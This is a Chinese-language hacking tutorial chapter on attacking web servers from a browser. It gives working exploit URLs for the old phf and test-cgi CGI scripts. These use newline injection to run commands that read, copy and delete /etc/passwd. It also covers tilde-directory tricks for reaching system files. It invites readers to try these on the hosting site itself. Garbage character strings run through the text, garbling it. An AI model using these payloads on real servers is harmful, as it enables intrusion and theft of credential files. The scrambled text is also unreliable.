在本章我將講述一些利用瀏覽器來(lái)進(jìn)行攻擊的方法
, N& I) [: F9 [* t" ?1 u2 I1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用0 R2 j- v) H7 p, N- |" o
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:
1 R& Z2 {+ j* [: khttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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me=&Qoffice_phone= f9 e" q6 f- r8 V* g
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=9 G( {' ]' w4 \: A, ?2 [! ?7 T- l& N
haqr&Qemail=&Qnickname=&Qoffice_phone=
1 L2 s4 K9 b, u& _( Q$ Nhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
' w6 y9 t6 I# J0 p%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=# {( z/ s% Z2 |! \2 Z0 N
http://thegnome.com/~someuser/passwd
) i5 c! ]; r& \/ {6 _5 u- [http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname" ]- ~! E7 W4 L4 ]
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=haqr&Qemail=&Qnickname=&Qoffice_phone=* @$ \6 H6 |4 m3 a
上面執(zhí)行的命令是
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ls -la ~someuser7 L& V4 q/ |; l! R
cp /etc/passwd ~someuser/passwd
% D* J1 O# E# N; Z9 U5 |rm ~someuser/passwd
q q. L0 n. W, F: u, S' |; ^. Q' I' r7 V% ?
2。有關(guān)test攻擊+ y/ y! l, o( o- P, Q+ M8 q
http://thegnome.com/cgi-bin/test-cgi?\whatever2 c8 f# h) }+ q
服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:
7 I: V) f' ]" p$ @6 yCGI/1.0 test script report:
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/ ~% w( D6 d8 D- S5 y$ r/ R `argc is 0. argv is .. Y7 l8 P/ H" O
2 h( `, x) c7 b4 U, c" x; HSERVER_SOFTWARE = NCSA/1.4B3 F, R/ }' U- `2 |
SERVER_NAME = thegnome.com
* Z. O) u6 K+ V) ~" \+ w6 V* wGATEWAY_INTERFACE = CGI/1.1# K* B, y' ]' m% I
SERVER_PROTOCOL = HTTP/1.0" G s- m" R8 o
SERVER_PORT = 80
5 n' z& }, ~# Q& R# f$ c7 yREQUEST_METHOD = GET: x1 ~; E& `: B& y1 _+ |
HTTP_ACCEPT = text/plain, application/x-html, application/html, $ k$ Y7 @/ a- q, [) [5 n" ?
text/html, text/x-html
4 [0 b+ G" c5 O6 u5 nPATH_INFO =
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SCRIPT_NAME = /cgi-bin/test-cgi. o; p! s! W$ o7 [
QUERY_STRING = whatever
7 e/ c ~. S7 y% E+ \REMOTE_HOST = fifth.column.gov2 c% q+ N: o6 m7 I2 \- _8 Z
REMOTE_ADDR = 200.200.200.2001 e* W, @, v& s# q: d9 Z
REMOTE_USER =
1 m# D# E1 Y7 S6 u& F1 EAUTH_TYPE =
7 Y2 R1 ~4 N1 M" }0 [$ aCONTENT_TYPE =
* i( ~8 Y! L+ LCONTENT_LENGTH =" W+ y! ]; D3 s$ c* k
) G4 l' T4 ^3 F; j4 u好吧,讓我們來(lái)點(diǎn)趕興趣的
7 b; G6 S4 S9 }& d6 Lhttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
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3。~的應(yīng)用* |& c ?# L1 F9 [1 d
~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~1 U( s0 H3 T5 v' c5 B( j
http://thegnome.com/~root
# e; A8 P, R+ C) z8 _ b+ z; Fhttp://thegnome.com/~root/etc/passwd
$ X) w) B; b2 r) I. d. A不是在任何平臺(tái)上都通過(guò)呦,在BSD Apache上曾經(jīng)成功過(guò),當(dāng)然還可以試試~bin ,~etc,~uucp.....
3 C9 f/ t% m8 N. y1 u" w. \看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin
% l2 l% Y- n0 i9 h$ }出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞
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